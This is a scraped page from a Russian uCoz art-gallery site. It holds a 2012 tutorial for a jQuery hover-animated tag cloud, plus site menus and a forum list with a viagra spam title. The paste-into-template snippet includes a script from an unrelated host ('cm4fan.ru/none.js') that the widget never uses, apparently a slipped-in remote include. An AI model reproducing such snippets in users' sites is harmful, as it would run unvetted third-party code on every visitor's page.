Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
alexxserx
↓ ↓ ↓ ↓ ↓
lenyavalis1970
↓ ↓ ↓ ↓ ↓
bibigon2009
↓ ↓ ↓ ↓ ↓
adelgumerova
↓ ↓ ↓ ↓ ↓
cortjohn2018
↓ ↓ ↓ ↓ ↓
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Ампир.
    [Раздел под буквой - [A]]
    Тектоника.
    [Раздел под буквой - [Т]]
    Энкаустика.
    [Раздел под буквой - [Э]]
    Оп-арт.
    [Раздел под буквой - [О]]
    Реализм.
    [Раздел под буквой - [Р]]
    Главная » 2012 » Октябрь » 16 » Информер тегов с дизайном как на Dle
    22:31
    Информер тегов с дизайном как на Dle
    Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном

    Установка:

    Ваш шаблон куда-нить наверх добавить этот код:

    Code
    <script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script>
    <script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
    <script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
    var f_color = '';
    $("a.structure").hover(function() {
    f_color = this.style.color;
    $(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700);
    },function()
    {
    $(this).animate({ backgroundColor: "white", color: f_color }, 200);
    });
    });
    </script>


    Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!

    Code
      
      <div id="content">  
      <div id="right">  
      <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>  
      <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>  
      <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>  
      <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>  
      <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
    Категория: Полезности для сайтов ucoz | Просмотров: 490 | Добавил: Aninew | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2024
    Бесплатный хостинг uCoz




    Rambler's Top100